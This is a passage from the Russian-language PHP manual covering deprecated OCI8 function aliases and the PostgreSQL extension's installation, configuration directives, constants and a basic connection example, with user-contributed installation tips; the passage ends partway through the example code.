Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_parse

  • « ocinumcols
  • ociplogon »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_parse

ociparse

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ociparse — Псевдоним oci_parse()

Описание

Псевдоним oci_parse()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_pconnect

  • « ociparse
  • ociresult »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_pconnect

ociplogon

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ociplogon — Псевдоним oci_pconnect()

Описание

Псевдоним oci_pconnect()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_result

  • « ociplogon
  • ocirollback »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_result

ociresult

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ociresult — Псевдоним oci_result()

Описание

Псевдоним oci_result()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_rollback

  • « ociresult
  • ocirowcount »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_rollback

ocirollback

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocirollback — Псевдоним oci_rollback()

Описание

Псевдоним oci_rollback()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_num_rows

  • « ocirollback
  • ocisavelob »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_num_rows

ocirowcount

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocirowcount — Псевдоним oci_num_rows()

Описание

Псевдоним oci_num_rows()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним OCILob::save

  • « ocirowcount
  • ocisavelobfile »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним OCILob::save

ocisavelob

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocisavelob — Псевдоним OCILob::save()

Описание

Псевдоним OCILob::save()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним OCILob::import

  • « ocisavelob
  • ociserverversion »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним OCILob::import

ocisavelobfile

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocisavelobfile — Псевдоним OCILob::import()

Описание

Псевдоним OCILob::import()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_server_version

  • « ocisavelobfile
  • ocisetprefetch »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_server_version

ociserverversion

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ociserverversion — Псевдоним oci_server_version()

Описание

Псевдоним oci_server_version()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_set_prefetch

  • « ociserverversion
  • ocistatementtype »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_set_prefetch

ocisetprefetch

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocisetprefetch — Псевдоним oci_set_prefetch()

Описание

Псевдоним oci_set_prefetch()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_statement_type

  • « ocisetprefetch
  • ociwritelobtofile »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_statement_type

ocistatementtype

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocistatementtype — Псевдоним oci_statement_type()

Описание

Псевдоним oci_statement_type()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним OCILob::export

  • « ocistatementtype
  • ociwritetemporarylob »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним OCILob::export

ociwritelobtofile

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ociwritelobtofile — Псевдоним OCILob::export()

Описание

Псевдоним OCILob::export()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним OCILob::writeTemporary

  • « ociwritelobtofile
  • PostgreSQL »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним OCILob::writeTemporary

ociwritetemporarylob

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PECL OCI8 1.0)

ociwritetemporarylob — Псевдоним OCILob::writeTemporary()

Описание

Псевдоним OCILob::writeTemporary()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


PostgreSQL

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
    • Базовое использование
    • Базовое использование
  • Функции PostgreSQL
    • pg_affected_rows — Возвращает количество затронутых запросом записей (кортежей)
    • pg_cancel_query — Остановка асинхронного запроса.
    • pg_client_encoding — Получение кодировки клиента.
    • pg_close — Закрывает соединение с базой данных PostgreSQL
    • pg_connect_poll — Опросить статус попытки асинхронного соединения PostgreSQL.
    • pg_connect — Открывает соединение с базой данных PostgreSQL
    • pg_connection_busy — Проверяет, занято ли соединение в данный момент.
    • pg_connection_reset — Сброс подключения (переподключение)
    • pg_connection_status — Определяет состояние подключения
    • pg_consume_input — Читает вводные данные на соединении
    • pg_convert — Преобразует значения ассоциативного массива в приемлемые для использования в SQL-запросах
    • pg_copy_from — Вставляет записи из массива в таблицу
    • pg_copy_to — Копирует данные из таблицы в массив
    • pg_dbname — Определяет имя базы данных
    • pg_delete — Удаляет записи
    • pg_end_copy — Синхронизирует с бэкендом PostgreSQL
    • pg_escape_bytea — Экранирует спецсимволы в строке для вставки в поле типа bytea
    • pg_escape_identifier — Экранирует идентификатор для вставки в текстовое поле
    • pg_escape_literal — Экранировать литерал при вставке в текстовое поле
    • pg_escape_string — Экранирование спецсимволов в строке запроса
    • pg_execute — Запускает выполнение ранее подготовленного параметризованного запроса и ждёт результат
    • pg_fetch_all_columns — Выбирает все записи из одной колонки результата запроса и помещает их в массив
    • pg_fetch_all — Выбирает все данные из результата запроса и помещает их в массив
    • pg_fetch_array — Возвращает строку результата в виде массива
    • pg_fetch_assoc — Выбирает строку результата запроса и помещает данные в ассоциативный массив
    • pg_fetch_object — Выбирает строку результата запроса и возвращает данные в виде объекта
    • pg_fetch_result — Возвращает запись из результата запроса
    • pg_fetch_row — Выбирает строку результата запроса и помещает данные в массив
    • pg_field_is_null — Проверка поля на значение SQL NULL
    • pg_field_name — Возвращает наименование поля
    • pg_field_num — Возвращает порядковый номер именованного поля
    • pg_field_prtlen — Возвращает количество печатаемых символов
    • pg_field_size — Возвращает размер поля
    • pg_field_table — Возвращает наименование или идентификатор таблицы, содержащей заданное поле
    • pg_field_type_oid — Возвращает идентификатор типа заданного поля
    • pg_field_type — Возвращает имя типа заданного поля
    • pg_flush — Сбросить данные исходящего запроса на соединении
    • pg_free_result — Очистка результата запроса и освобождение памяти
    • pg_get_notify — Получение SQL NOTIFY сообщения
    • pg_get_pid — Получает ID процесса сервера БД
    • pg_get_result — Получение результата асинхронного запроса
    • pg_host — Возвращает имя хоста, соответствующего подключению
    • pg_insert — Заносит данные из массива в таблицу базы данных
    • pg_last_error — Получает сообщение о последней произошедшей ошибке на соединении с базой данных
    • pg_last_notice — Возвращает последнее уведомление от сервера PostgreSQL
    • pg_last_oid — Возвращает OID последней добавленной в базу строки
    • pg_lo_close — Закрывает большой объект
    • pg_lo_create — Создаёт большой объект
    • pg_lo_export — Вывод большого объекта в файл
    • pg_lo_import — Импорт большого объекта из файла
    • pg_lo_open — Открывает большой объект базы данных
    • pg_lo_read_all — Читает содержимое большого объекта и посылает напрямую в браузер
    • pg_lo_read — Читает данные большого объекта
    • pg_lo_seek — Перемещает внутренний указатель большого объекта
    • pg_lo_tell — Возвращает текущее положение внутреннего указателя большого объекта
    • pg_lo_truncate — Обрезает большой объект
    • pg_lo_unlink — Удаление большого объекта
    • pg_lo_write — Записывает данные в большой объект
    • pg_meta_data — Получение метаданных таблицы
    • pg_num_fields — Возвращает количество полей в выборке
    • pg_num_rows — Возвращает количество строк в выборке
    • pg_options — Получение параметров соединения с сервером баз данных
    • pg_parameter_status — Просмотр текущих значений параметров сервера
    • pg_pconnect — Открывает постоянное соединение с сервером PostgreSQL
    • pg_ping — Проверка соединения с базой данных
    • pg_port — Возвращает номер порта, соответствующий заданному соединению
    • pg_prepare — Посылает запрос на создание параметризованного SQL выражения и ждёт его завершения
    • pg_put_line — Передаёт на PostgreSQL сервер строку с завершающим нулём
    • pg_query_params — Посылает параметризованный запрос на сервер, параметры передаются отдельно от текста SQL запроса
    • pg_query — Выполняет запрос
    • pg_result_error_field — Возвращает конкретное поле из отчёта об ошибках
    • pg_result_error — Возвращает сообщение об ошибке, связанное с запросом результата
    • pg_result_seek — Смещает указатель на строку выборки в экземпляре результата запроса
    • pg_result_status — Возвращает состояние результата запроса
    • pg_select — Выбирает записи из базы данных
    • pg_send_execute — Запускает предварительно подготовленный SQL-запрос и передаёт ему параметры; не ожидает возвращаемого результата
    • pg_send_prepare — Посылает запрос на создание параметризованного SQL-выражения, не дожидаясь его завершения
    • pg_send_query_params — Посылает параметризованный запрос на сервер, не ожидает возвращаемого результата
    • pg_send_query — Отправляет асинхронный запрос
    • pg_set_client_encoding — Устанавливает клиентскую кодировку
    • pg_set_error_context_visibility — Determines the visibility of the context's error messages returned by pg_last_error and pg_result_error
    • pg_set_error_verbosity — Определяет объем текста сообщений, возвращаемых функциями pg_last_error и pg_result_error
    • pg_socket — Получить дескриптор только для чтения на сокет, лежащего в основе соединения PostgreSQL
    • pg_trace — Включает трассировку подключения PostgreSQL
    • pg_transaction_status — Возвращает текущее состояние транзакции на сервере
    • pg_tty — Возвращает имя терминала TTY, связанное с соединением
    • pg_unescape_bytea — Убирает экранирование двоичных данных типа bytea
    • pg_untrace — Отключает трассировку соединения с PostgreSQL
    • pg_update — Обновление данных в таблице
    • pg_version — Возвращает массив, содержащий версии клиента, протокола клиент-серверного взаимодействия и сервера (если доступно)
  • PgSql\Connection — Класс PgSql\Connection
  • PgSql\Result — Класс PgSql\Result
  • PgSql\Lob — Класс PgSql\Lob

User Contributed Notes

There are no user contributed notes for this page.


Введение

База данных PostgreSQL - это свободно доступный продукт с открытым исходным кодом. Изначально Postgres разрабатывался в Университете Компьютерных Наук Беркли и инициировал многие объектно-реляционные идеи, которые на данный момент доступны в некоторых коммерческих базах данных. В частности, это поддержка языка SQL92/SQL99, транзакции, ссылочная целостность, хранимые процедуры и расширение типов. PostgreSQL - это потомок своего первоисточника из Беркли с открытым исходным кодом.

User Contributed Notes

There are no user contributed notes for this page.


Установка и настройка

Содержание

  • Требования
  • Установка
  • Настройка во время выполнения
  • Типы ресурсов

User Contributed Notes

MIhail-Klr at gmx dot net 11-Jan-2015 11:14
This happened to me also with PHP 5.4.1
Copying the offending DLL everywhere didn't worket, and I don't have Postgres installed in the server, but also planned to use PHP against different Postgres versions, so the only solution I found that worked was to put in httpd.conf a line like this:

LoadFile "C:/Program Files/PostgreSQL/8.4/bin/libpq.dll"

but refering to the libpq.dll that comes bundled with PHP, like this:

LoadFile "C:/php/libpq.dll"

After that it worked fine to me.

(c) https://stackoverflow.com/users/1373641/dayron-armas-pena
from: https://stackoverflow.com/questions/551734/php-not-loading-php-pgsql-dll-on-windows/10439560#10439560
nestor dot martinez at etb dot net dot co 22-Mar-2010 05:47
If you get a message like this:
"Php Startup: Unable to load dynamic library 'C:\php\ext\php_pgsql.dll"

1. In the Configuration File alter the order of the libraries "php_exif.dll" and "php_mbstring.dll", in such a way that is called first the library "php_mbstring.dll"

2. Copy all the libraries in the folder "bin" of your installation of PostgreSQL and paste them into the root folder of Windows

3. Uncomment the line "extension=php_pgsql.dll"
4. Now you should see on the page generated by "phpinfo()" section of PostgreSQL
some at domain dot name 29-Oct-2009 04:35
Another windows xp solution for "Unable to load dynamic library 'php_pgsql.dll' - The specified module could not be found."

Add the path of the postgres binaries to the system search-path:

Right click on "My Computer", select "properties", "advanced"-tab, "Environment variables"-button, "System variables"-section, select "path" and click "Edit" and add the path to the postgres binaries at the end, in my case it was "C:\Program Files\PostgreSQL\8.4\bin" and then restart the computer (or at least restart the apache/php processes)

Please note that the system-path can have several values, each separated by a semicolon ";".
emil at example dot com 07-Jan-2009 06:04
Unable to load dynamic library 'C:\\php\\ext\\php_pgsql.dll' - The specified module could not be found.

another solution:

copy libpq.dll/all files from zip (if you have php from installer)

add to httpd.conf:

#BEGIN PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL
PHPIniDir "c:/PHP/"
Loadfile "C:\php\php5ts.dll"
Loadfile "C:\php\libpq.dll"
LoadModule php5_module "c:/PHP/php5apache2_2.dll"
#END PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL
AddHandler application/x-httpd-php .php
AddHandler application/x-httpd-php-source .phps

(in php.ini default: extension_dir ="c:\PHP\ext" )

if it doesn't work add c:\php (php path) to your windows path (and restart)

tested on php5.2.8 + apache2.2.3
kouber at php dot net 26-Nov-2008 05:01
If you get this error on Windows:

Unable to load dynamic library 'C:/php/ext\\php_pgsql.dll' - The specified module could not be found.

Try downloading the PostgreSQL binaries-no-install archive from http://www.postgresql.org/ftp/binary/v8.3.5/win32/ (replace 8.3.5 with the latest stable version) and copy these DLLs to C:/WINDOWS/system32/ :

comerr32.dll
gssapi32.dll
k5sprt32.dll
krb5_32.dll
libeay32.dll
libiconv2.dll
libintl3.dll
libpq.dll
ssleay32.dll


Требования

Для использования PostgreSQL в PHP, у вас должен быть установлен PostgreSQL версии 6.5 или выше, либо PostgreSQL версии 8.0 для использования всех особенностей модуля PostgreSQL. В PostgreSQL есть поддержка различных кодировок символов, включая многобайтовую кодировку. Последняя версия и полная информация о PostgreSQL доступна на » http://www.postgresql.org/ и в » документации PostgreSQL.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Для того, чтобы включить поддержку PostgreSQL необходимо скомпилировать PHP с директивой --with-pgsql[=DIR]. Параметр DIR определяет путь к установочной директории PostgreSQL, по умолчанию это /usr/local/pgsql. Если доступен динамический модуль, то он может быть включён директивой extension в php.ini, либо функцией dl().

User Contributed Notes

sean at cockroachlabs dot com 02-Sep-2016 05:28
Starting with PHP 7, on Ubuntu (i.e., 16+), you can run:

`sudo apt-get install php-pgsql`
Anonymous 29-Aug-2016 09:14
for php 7, "sudo apt install php7.0-pgsql" worked for me
zonetejasmikel at yahoo dot com 07-Apr-2014 07:04
if you get
/pgsql.c:789: error: 'from' undeclared (first use in this function)
etc. compiling in linux its a typo in the define of pgsql.c file

change to this
#if !HAVE_PQESCAPE_CONN
#define PQescapeStringConn(conn, to, from, len, error) PQescapeString(to, from, len)
#endif
samuel+php dot net at dionne-riel dot com 13-Aug-2010 05:31
On PHP 5.3, you may encounter this error.
    Cannot create new link. Too many open links

I did with Archlinux. pgsql.so was active.

To resolve the issue, I had to active pdo.so and pdo_pgsql.so. Hope this helps!
Serjik 28-Aug-2009 07:54
On a Windows server, configured with Apache, adding the following line to httpd.conf to load libpq.dll can save you a lot of time :

LoadFile "C:/Program Files/PostgreSQL/8.4/bin/libpq.dll"

Note that you will have to change your folder accordingly to the installation path and version of PostgreSQL you have installed. Also note that having Apache and PostgreSQL on the same server for production environments is not recommended.

Cheers,
Serjik
Anto Binish Kaspar 08-Jul-2009 04:39
An easy way to install in ubuntu(debain)
Just run " apt-get install php5-pgsql "
Simon 02-Mar-2009 08:59
Windows users should be mindful that since 5.2.6 it seems that the version of php_pgsql.dll supplied is dynamically linked and requires libpq.dll.

The version supplied in 5.2.5 is statically linked and does not have this dependency, if you cannot load the Postgres extension grab php_pgsql.dll from the 5.2.5 distribution


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Параметры конфигурации PostgreSQL
Имя | По умолчанию | Место изменения | Список изменений
pgsql.allow_persistent | "1" | PHP_INI_SYSTEM |
pgsql.max_persistent | "-1" | PHP_INI_SYSTEM |
pgsql.max_links | "-1" | PHP_INI_SYSTEM |
pgsql.auto_reset_persistent | "0" | PHP_INI_SYSTEM |
pgsql.ignore_notice | "0" | PHP_INI_ALL |
pgsql.log_notice | "0" | PHP_INI_ALL |
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

pgsql.allow_persistent bool

Следует ли разрешить постоянное соединение с Postgres.

pgsql.max_persistent int

Максимальное количество постоянных соединений на один процесс.

pgsql.max_links int

Максимальное количество соединений Postgres на один процесс, включая постоянные соединения.

pgsql.auto_reset_persistent int

Определять разорванные постоянные ссылки с pg_pconnect(). Требуются небольшие дополнительные ресурсы.

pgsql.ignore_notice int

Игнорировать или нет уведомления от PostgreSQL.

pgsql.log_notice int

Записывать ли в лог уведомления от PostgreSQL. Для записи в лог уведомлений также необходимо отключить PHP-директиву pgsql.ignore_notice.

User Contributed Notes

ewl at compressedtime dot com 10-Mar-2014 07:36
Does "per process" mean the entire server process? or each process id (for forked processes)?


Типы ресурсов

До PHP 8.1.0 существовало два типа ресурсов используемых в модуле PostgreSQL. Первый из них представляет собой идентификатор соединения с базой данных, а второй - ресурс необходимый для хранения результата запроса.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

PGSQL_LIBPQ_VERSION (string)
Короткое обозначение версии libpq, содержащее только цифры и точки.
PGSQL_LIBPQ_VERSION_STR (string)
До PHP 8.0.0 - длинное обозначение версии libpq, которое включает информацию о компиляторе. Начиная с PHP 8.0.0, значение идентично PGSQL_LIBPQ_VERSION, а использование PGSQL_LIBPQ_VERSION_STR устарело.
PGSQL_ASSOC (int)
Передаётся в функцию pg_fetch_array(). Возвращает ассоциативный массив 'имя поля' => 'значение поля'.
PGSQL_NUM (int)
Передаётся в функцию pg_fetch_array(). Возвращает нумерованный массив 'номер поля' => 'значение поля'.
PGSQL_BOTH (int)
Передаётся в функцию pg_fetch_array(). Возвращает массив значений поля, нумерованный (по номеру поля) и ассоциативный (по имени поля).
PGSQL_CONNECT_FORCE_NEW (int)
Передаётся в функцию pg_connect() для принудительного создания нового подключения вместо использования идентичного существующего.
PGSQL_CONNECT_ASYNC (int)
Передаётся в pg_connect() для создания асинхронного соединения.
PGSQL_CONNECTION_AUTH_OK (int)
PGSQL_CONNECTION_AWAITING_RESPONSE (int)
PGSQL_CONNECTION_BAD (int)
Возвращается функцией pg_connection_status(), указывает на неработоспособность соединения с базой данных.
PGSQL_CONNECTION_MADE (int)
PGSQL_CONNECTION_OK (int)
Возвращается функцией pg_connection_status(), указывает на нормальное (рабочее) состояние соединения с базой данных.
PGSQL_CONNECTION_SETENV (int)
PGSQL_CONNECTION_SSL_STARTUP (int)
PGSQL_CONNECTION_STARTED (int)
PGSQL_SEEK_SET (int)
Передаётся в функцию pg_lo_seek(). Операция поиска начнёт работу с начала объекта.
PGSQL_SEEK_CUR (int)
Передаётся в функцию pg_lo_seek(). Операция поиска начнёт работу с текущей позиции.
PGSQL_SEEK_END (int)
Передаётся в функцию pg_lo_seek(). Операция поиска начнёт работу с конца объекта.
PGSQL_EMPTY_QUERY (int)
Возвращается функцией pg_result_status(). Означает, что отправленная на сервер строка была пустой.
PGSQL_COMMAND_OK (int)
Возвращается функцией pg_result_status(). Означает успешное завершение команды, не возвращающей данных.
PGSQL_TUPLES_OK (int)
Возвращается функцией pg_result_status(). Означает успешное завершение команды, возвращающей какие-либо данные (например, SELECT или SHOW).
PGSQL_COPY_OUT (int)
Возвращается функцией pg_result_status(). Сообщает, что было начато копирование данных с сервера.
PGSQL_COPY_IN (int)
Возвращается функцией pg_result_status(). Сообщает, чтобы начато копирование данных на сервер.
PGSQL_BAD_RESPONSE (int)
Возвращается функцией pg_result_status(). Сообщает, что ответ от сервера не был распознан.
PGSQL_NONFATAL_ERROR (int)
Возвращается функцией pg_result_status(). Сообщает, что произошла некритическая (уведомление или предупреждение) ошибка.
PGSQL_FATAL_ERROR (int)
Возвращается функцией pg_result_status(). Сообщает, что произошла критическая ошибка.
PGSQL_TRANSACTION_IDLE (int)
Возвращается функцией pg_transaction_status(). Означает, что соединение на данный момент бездействует и не находится в рамках транзакции.
PGSQL_TRANSACTION_ACTIVE (int)
Возвращается функцией pg_transaction_status(). Означает состояние, когда команда находится в процессе выполнения. Запрос через соединение отправлен, но выполнение ещё не завершено.
PGSQL_TRANSACTION_INTRANS (int)
Возвращается функцией pg_transaction_status(). Означает, что соединение простаивает и находится в рамках транзакции.
PGSQL_TRANSACTION_INERROR (int)
Возвращается функцией pg_transaction_status(). Означает, что соединение простаивает и находится в рамках транзакции потерпевшей неудачу при выполнении.
PGSQL_TRANSACTION_UNKNOWN (int)
Возвращается функцией pg_transaction_status(). Означает, что соединение разорвано.
PGSQL_DIAG_SEVERITY (int)
Передаётся в функцию pg_result_error_field(). Сообщает о затруднении. Возможны лишь перечисленные значения: ERROR, FATAL, или PANIC (в сообщении об ошибке), либо WARNING, NOTICE, DEBUG, INFO, или LOG (в уведомлении), либо перевод перечисленных значений в соответствии с используемой локализацией. Поле всегда определено.
PGSQL_DIAG_SQLSTATE (int)
Передаётся в pg_result_error_field(). Код ошибки SQLSTATE. Код SQLSTATE определяет тип произошедшей ошибки; он может быть использован прикладной программой при выполнении специфических операций (таких как обработка ошибки) в ответ на ошибку базы данных. Это поле всегда определено и его значение не зависит от локализации.
PGSQL_DIAG_MESSAGE_PRIMARY (int)
Передаётся в pg_result_error_field(). Основное удобочитаемое сообщение об ошибке (обычно одна строка). Поле всегда определено.
PGSQL_DIAG_MESSAGE_DETAIL (int)
Передаётся в pg_result_error_field(). Детализация: дополнительное сообщение об ошибке, содержащее более подробную информацию о проблеме. Может содержать несколько строк.
PGSQL_DIAG_MESSAGE_HINT (int)
Передаётся в pg_result_error_field(). Подсказка: указание на возможные пути устранения ошибки. Отличается от детализации ошибки тем, что это просто предложения (возможно ошибочные), а не точная информация. Может содержать несколько строк.
PGSQL_DIAG_STATEMENT_POSITION (int)
Передаётся в pg_result_error_field(). Строка, содержащая десятичное целое число, указывающее на позицию курсора в исходном выражении, где произошла ошибка. Первый символ имеет индекс 1, позиции исчисляются в символах, а не в байтах.
PGSQL_DIAG_INTERNAL_POSITION (int)
Передаётся в pg_result_error_field(). Определение тоже, что и для поля PG_DIAG_STATEMENT_POSITION, но используется в случаях, когда курсор указывает на команду, сгенерированную сервером БД. В таких случаях всегда появляется поле PG_DIAG_INTERNAL_QUERY.
PGSQL_DIAG_INTERNAL_QUERY (int)
Передаётся в pg_result_error_field(). Текст ошибки, сгенерированной внутренней командой СУБД, в которой произошла ошибка. Это может быть, например, SQL-запрос, сформированный функцией PL/pgSQL.
PGSQL_DIAG_CONTEXT (int)
Передаётся в pg_result_error_field(). Указание на контекст, где произошла ошибка. В основном содержит трассировку запрограммированных функций и автоматически сгенерированных запросов. Трассировка выводится построчно, начиная с последней строки.
PGSQL_DIAG_SOURCE_FILE (int)
Передаётся в pg_result_error_field(). Имя файла исходного кода PostgreSQL, в котором отмечена ошибка.
PGSQL_DIAG_SOURCE_LINE (int)
Передаётся в pg_result_error_field(). Номер строки файла исходного кода PostgreSQL, где отмечена ошибка.
PGSQL_DIAG_SOURCE_FUNCTION (int)
Передаётся в pg_result_error_field(). Имя функции в исходном коде PostgreSQL, сообщающей об ошибке.
PGSQL_DIAG_SCHEMA_NAME (string)
Добавлено в PHP 7.3.0.
PGSQL_DIAG_TABLE_NAME (string)
Добавлено в PHP 7.3.0.
PGSQL_DIAG_COLUMN_NAME (string)
Добавлено в PHP 7.3.0.
PGSQL_DIAG_DATATYPE_NAME (string)
Добавлено в PHP 7.3.0.
PGSQL_DIAG_CONSTRAINT_NAME (string)
Добавлено в PHP 7.3.0.
PGSQL_ERRORS_TERSE (int)
Передаётся в pg_set_error_verbosity(). Даёт предписание, что выдаваемые сообщения будут содержать только важность ошибки, основной текст и указатель на место, где она произошла; эта информация обычно умещается в одну строку.
PGSQL_ERRORS_DEFAULT (int)
Передаётся в pg_set_error_verbosity(). В режиме по умолчанию сообщения об ошибках содержат описанную выше информацию, а также детализацию, подсказку или поля с контекстом ошибки (могут занимать несколько строк).
PGSQL_ERRORS_VERBOSE (int)
Передаётся в pg_set_error_verbosity(). Задаёт режим, в котором в сообщения будут включены все возможные поля.
PGSQL_NOTICE_LAST (int)
Используется pg_last_notice(). Доступно с PHP 7.1.0.
PGSQL_NOTICE_ALL (int)
Используется pg_last_notice(). Доступно с PHP 7.1.0.
PGSQL_NOTICE_CLEAR (int)
Используется pg_last_notice(). Доступно с PHP 7.1.0.
PGSQL_STATUS_LONG (int)
Передаётся в pg_result_status(). Указывает на то, что в качестве возвращаемого значения ожидается числовой код.
PGSQL_STATUS_STRING (int)
Передаётся в pg_result_status(). Указывает на то, что в качестве возвращаемого значения ожидается текстовое представление статуса.
PGSQL_CONV_IGNORE_DEFAULT (int)
Передаётся в pg_convert(). Игнорировать значения по умолчанию в таблице в процессе преобразования.
PGSQL_CONV_FORCE_NULL (int)
Передаётся в pg_convert(). Заменять пустые строки string на SQL NULL при преобразовании.
PGSQL_CONV_IGNORE_NOT_NULL (int)
Передаётся в pg_convert(). Указывает, что не нужно конвертировать null в столбцы SQL NOT NULL.
PGSQL_DML_NO_CONV (int)
Передаётся в pg_insert(), pg_select(), pg_update() и pg_delete(). Все параметры передаются в исходном виде. Ручное экранирование обязательно, если параметры содержат пользовательские данные. Используйте для этих целей pg_escape_string().
PGSQL_DML_EXEC (int)
Передаётся в pg_insert(), pg_select(), pg_update() и pg_delete(). Выполнить запрос с помощью этих функций.
PGSQL_DML_ASYNC (int)
Передаётся в pg_insert(), pg_select(), pg_update() и pg_delete(). Выполнить асинхронный запрос с помощью этих функций.
PGSQL_DML_STRING (int)
Передаётся в pg_insert(), pg_select(), pg_update() и pg_delete(). Вернуть строку с выполненным запросом.
PGSQL_DML_ESCAPE (int)
Передаётся в pg_insert(), pg_select(), pg_update() и pg_delete(). Применить экранирование ко всем параметрам вместо внутреннего вызова pg_convert(). Эта опция пропускает просмотр метаданных. Запрос может быть таким же быстрым, как и pg_query() и pg_send_query().
PGSQL_POLLING_FAILED (int)
Возвращается функцией pg_connect_poll() и указывает на то, что попытка соединения провалилась.
PGSQL_POLLING_READING (int)
Возвращается функцией pg_connect_poll() и указывает на то, что соединение ожидает, когда сокет PostgreSQL станет доступным для чтения.
PGSQL_POLLING_WRITING (int)
Возвращается функцией pg_connect_poll() и указывает на то, что соединение ожидает, когда сокет PostgreSQL станет доступным для записи.
PGSQL_POLLING_OK (int)
Возвращается функцией pg_connect_poll() и указывает на то, что соединение готово к использованию.
PGSQL_POLLING_ACTIVE (int)
Возвращается функцией pg_connect_poll() и указывает на то, что соединение сейчас активно.
PGSQL_DIAG_SEVERITY_NONLOCALIZED (int)
Важность; Возможны следующие значения: ERROR, FATAL или PANIC (в сообщении ошибке), либо WARNING, NOTICE, DEBUG, INFO или LOG (в сообщении предупреждении). Это идентично полю PG_DIAG_SEVERITY за исключением того, содержимое не локализовано. Доступно только в версии 9.6 или новее / PHP 7.3.0 или новее.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Содержание

  • Базовое использование
  • Базовое использование

User Contributed Notes

There are no user contributed notes for this page.


Базовое использование

Этот простой пример показывает как выполнить соединение с БД, отправить запрос, вывести его результат и закрыть соединение с PostgreSQL.

Пример #1 Пример работы с модулем PostgreSQL

<?php
// Соединение, выбор базы данных
$dbconn = pg_connect("host=localhost dbname=publishing user=www password=foo")
or die('Не удалось соединиться: ' . pg_last_error());

// Выполнение SQL-запроса
$query = 'SELECT * FROM authors';
$result = pg_query($query) or die('Ошибка запроса: ' . pg_last_error());

// Вывод результатов в HTML
echo "<table>\n";
while ($line = pg_fetch_array($result, null, PGSQL_ASSOC)) {
echo "\t<tr>\n";
foreach ($line as $col_value) {
echo "\t\t<td>$col_value</td>\n";
}
echo "\t</tr>\n";
}
